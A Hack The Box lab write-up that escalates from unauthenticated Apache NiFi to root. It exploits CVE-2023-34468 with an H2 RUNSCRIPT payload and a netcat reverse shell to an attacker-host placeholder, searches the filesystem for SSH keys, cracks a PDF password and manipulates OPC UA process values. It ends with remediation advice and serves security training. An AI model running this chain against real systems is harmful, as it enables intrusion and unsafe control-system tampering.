Helix — Unauthenticated NiFi RCE, a Recovered Operator Key, and OPC UA Maintenance-Window Root
- Tools
- rustscan, nmap, gobuster, python3, netcat, ssh, scp, john, opcua-client, sudo
- Skill demonstrated
- Unauthenticated workflow-service exploitation and control-system privilege escalation
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Medium |
| Target environment | Ubuntu Linux; nginx 1.18.0 exposing an Apache NiFi 1.21.0 workflow service on a virtual host |
| Starting position | Unauthenticated network access |
| Objective | Escalate from an unauthenticated Apache NiFi workflow service to root by abusing CVE-2023-34468, a recovered operator key, and a control-system maintenance window |
| Outcome | NiFi service-account command execution; operator SSH access; time-limited root via a privileged maintenance console |
Summary
Section titled “Summary”Helix is a Medium-rated Hack The Box Linux lab in which an unauthenticated Apache NiFi instance on a virtual host is abused through CVE-2023-34468 — an H2-backed DBCPConnectionPool driving an ExecuteSQL processor that runs a remote SQL script — to gain command execution as the NiFi service account. Local file search recovers a backup operator SSH key, the operator home directory exposes an internal OPC UA control service and a password-protected operations guide, and the guide’s process conditions open a maintenance window in which a privileged maintenance console grants temporary root. Target and attacker addresses, hostnames, accounts, key and password values, and flags are replaced with role-based placeholders; command syntax is preserved.
Attack path: Unauthenticated Apache NiFi on flow.<TARGET_HOSTNAME> → CVE-2023-34468 H2 RUNSCRIPT command execution as the NiFi service account → backup operator SSH key in a NiFi support bundle → operator SSH access → control-system diagram and cracked operations guide identifying an internal OPC UA service and its unlock conditions → OPC UA maintenance window → privileged maintenance console root
Context and Objective
Section titled “Context and Objective”- Target: an Ubuntu Linux host exposing SSH (OpenSSH 8.9p1) and HTTP (nginx 1.18.0).
- Exposed services: HTTP redirects to a hostname rather than an IP, so host-based virtual-host enumeration is required before the web tier is reachable.
- Starting position: unauthenticated network access, with no provided credentials.
- Objective: gain initial access through the NiFi service, enumerate the host for escalation material, and reach root by satisfying the control-system conditions that unlock privileged maintenance access.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Service enumeration and virtual-host discovery
Section titled “1. Service enumeration and virtual-host discovery”Observation: a full TCP scan exposes only SSH and HTTP.
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN <OUT_FILE>22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux)80/tcp open http nginx 1.18.0 (Ubuntu)Significance: HTTP is the only externally reachable application surface, and the redirect behavior means the site must be reached by hostname, so virtual-host fuzzing was used:
gobuster vhost \ --url http://<TARGET_HOSTNAME> \ --wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ --append-domainflow.<TARGET_HOSTNAME> Status: 200 [Size: 1068]Result: the flow.<TARGET_HOSTNAME> virtual host serves an unauthenticated Apache NiFi 1.21.0 instance, a version affected by CVE-2023-34468.
2. Command execution through NiFi CVE-2023-34468
Section titled “2. Command execution through NiFi CVE-2023-34468”Observation: NiFi 1.21.0 is affected by CVE-2023-34468, which lets an H2 database driver execute SQL from a URL through a controller service.
Action: a DBCPConnectionPool controller service was configured with the H2 driver, and an ExecuteSQL processor was pointed at a hosted SQL script.
DBCPConnectionPool controller service Database Connection URL : jdbc:h2:mem:<DB_NAME>;TRACE_LEVEL_SYSTEM_OUT=3; Database Driver Class Name : org.h2.Driver Database Driver Location : <NIFI_LIB_DIR>/h2-<VERSION>.jar
ExecuteSQL processor SQL select query : RUNSCRIPT FROM 'http://<ATTACKER_HOST>:<HTTP_PORT>/<SCRIPT_NAME>.sql'The hosted script defines a Java alias that launches a reverse shell (placeholder pattern, not a literal payload):
CREATE ALIAS SHELLEXEC AS $$String shellexec(String cmd) throws java.io.IOException { new ProcessBuilder("bash", "-c", cmd).redirectErrorStream(true).start(); return "started";}$$;
CALL SHELLEXEC('nc -c bash <ATTACKER_HOST> <SHELL_PORT>');Serving the script and catching the callback:
python3 -m http.server <HTTP_PORT>nc -nlvp <SHELL_PORT>The command runs in the NiFi service context:
uid=998(<NIFI_SERVICE_ACCOUNT>) gid=998(<NIFI_SERVICE_ACCOUNT>) groups=998(<NIFI_SERVICE_ACCOUNT>)Significance: the H2 CREATE ALIAS feature lets a SQL expression invoke arbitrary Java, so an unauthenticated workflow configuration becomes host command execution under the account running NiFi.
Result: command execution as <NIFI_SERVICE_ACCOUNT> is confirmed by the id output.
3. Backup operator SSH key recovery
Section titled “3. Backup operator SSH key recovery”Observation: the NiFi configuration stores the sensitive-properties key, and a filesystem search for key material locates a backup operator private key.
nifi.sensitive.props.key=<NIFI_SENSITIVE_PROPS_KEY>nifi.sensitive.props.algorithm=NIFI_PBKDF2_AES_GCM_256find / -type f \( \ -name "*id_rsa*" -o \ -name "*id_ed25519*" -o \ -name "*id_ecdsa*" -o \ -name "*.pem*" -o \ -name "*.key*" \\) 2>/dev/null<NIFI_SUPPORT_DIR>/<OPERATOR_ACCOUNT>_id_ed25519.bakThe recovered backup key is copied locally and used as <SSH_KEY>:
ssh -i <SSH_KEY> <OPERATOR_ACCOUNT>@<TARGET_HOSTNAME>Significance: service support bundles can carry high-impact artifacts, turning a service-level compromise into an interactive user account. The source records that the recovered backup key authenticated an SSH session as <OPERATOR_ACCOUNT>; no terminal excerpt of that login is retained.
Result: interactive SSH access to the operator account provides a stable work context.
4. Operator files and the operations guide
Section titled “4. Operator files and the operations guide”Observation: the operator home directory holds a control-system diagram and a password-protected operations guide.
scp -i <SSH_KEY> \ '<OPERATOR_ACCOUNT>@<TARGET_HOSTNAME>:<CONTROL_DIAGRAM>' \ '<OPERATOR_ACCOUNT>@<TARGET_HOSTNAME>:<OPS_GUIDE_PDF>' \ .The diagram identifies an internal OPC UA service:
opc.tcp://127.0.0.1:4840/helixThe guide’s password is recovered from its hash:
pdf2john '<OPS_GUIDE_PDF>' > <HASH_FILE>john <HASH_FILE> --format=PDF --wordlist=<WORDLIST>Recovered password: <PDF_PASSWORD>.
The unlocked guide states the maintenance-window requirements:
1. Switch Mode to MAINTENANCE2. Enable TestOverride3. Begin controlled adjustment using CalibrationOffsetMaintenance window opens when temperature reaches approximately 295 C or pressure reaches 73 barSignificance: operational documentation is part of the escalation path — it names the internal control service and the exact process state required to unlock privileged access.
Result: the guide’s process conditions and the internal OPC UA endpoint are recovered.
5. OPC UA maintenance window and privileged console
Section titled “5. OPC UA maintenance window and privileged console”Observation: the internal OPC UA service is reachable only on loopback and enforces the maintenance conditions described in the guide.
Action: the port was forwarded over the existing SSH session and driven with an OPC UA client.
ssh -L 4840:localhost:4840 <OPERATOR_ACCOUNT>@<TARGET_HOSTNAME> -i <SSH_KEY>opcua-clientFollowing the guide, the mode was set to MAINTENANCE, TestOverride was enabled, and CalibrationOffset was increased until the required temperature was reached:
offset=11.0 temp=295.35With the window open, the permitted command yields a privileged, short-lived session:
sudo /usr/local/sbin/helix-maint-console[+] Privileged maintenance access granted[!] Window expires in 100 seconds<PRIVILEGED_ACCOUNT>@<TARGET_HOSTNAME>:/home/<OPERATOR_ACCOUNT>#Significance: a privileged wrapper gated only by a manipulable process condition grants an interactive root shell; the time limit bounds but does not remove the impact.
Result: a root-context session is obtained and expires after 100 seconds.
Challenges and Decisions
Section titled “Challenges and Decisions”| Challenge | Decision | Rationale |
|---|---|---|
| NiFi sensitive-properties key did not immediately yield a credential | Continued with a filesystem search for key material | The flow-decryption route produced no credential; the support-bundle search instead recovered a backup operator SSH key |
Outcome
Section titled “Outcome”The evidence establishes service-account command execution, operator SSH access from a recovered backup key, and a time-limited root context; the root session expires after 100 seconds.
Lessons and Recommendations
Section titled “Lessons and Recommendations”The actions below are recommendations; none was validated in the lab.
Each finding pairs the observed root cause with its demonstrated impact and a prioritized action.
- Unauthenticated NiFi administration. An unauthenticated workflow service let an external party configure controller services and processors. Recommendation: require authentication on NiFi, restrict who can create controller services and processors, and avoid exposing the administration interface beyond trusted networks. Detection: alert on new or modified controller services, processors, and database connection pools.
- CVE-2023-34468 (dynamic H2 driver and
RUNSCRIPT). A supported H2 driver combined with anExecuteSQLprocessor turned a SQL configuration into host command execution. Recommendation: patch NiFi to a fixed release and restrict scriptable database features and driver loading to trusted administrators. Detection: audit flow configuration forRUNSCRIPTusage and untrusted driver locations. - Credentials in NiFi support bundles. A backup operator private key was recoverable from a support-bundle directory. Recommendation: exclude secret material from support bundles, scan them before sharing, and rotate any key that may have been exposed. Detection: monitor the support-bundle directory for unexpected key or credential files.
- Sensitive operational documentation and an exposed control service. A protected-but-crackable operations guide and diagram disclosed the internal OPC UA endpoint and its unlock conditions. Recommendation: keep control-system documentation off general user hosts, store it encrypted with strong passphrases, and segment OPC UA services so they are not reachable from ordinary accounts. Detection: alert on unexpected connections to the OPC UA port.
- Time-limited privileged wrapper. A permitted command gated by a manipulable process condition granted an interactive root shell. Recommendation: scope privileged wrappers to specific, non-interactive operations, remove direct root-shell access from them, and require stronger authorization than a process value. Detection: review
sudoersfor wrappers that spawn privileged shells.
References
Section titled “References”- Hack The Box — Helix (retired machine)
- NVD — CVE-2023-34468 (Apache NiFi remote code execution through the H2 database driver)
- Apache NiFi Security — CVE-2023-34468 (vendor advisory)
- Gobuster (directory, DNS, and virtual-host discovery)
- RustScan (port scanner)
- Nmap Reference Guide
- John the Ripper (password-cracking suite, including
pdf2john) - FreeOpcUa opcua-client (OPC UA client)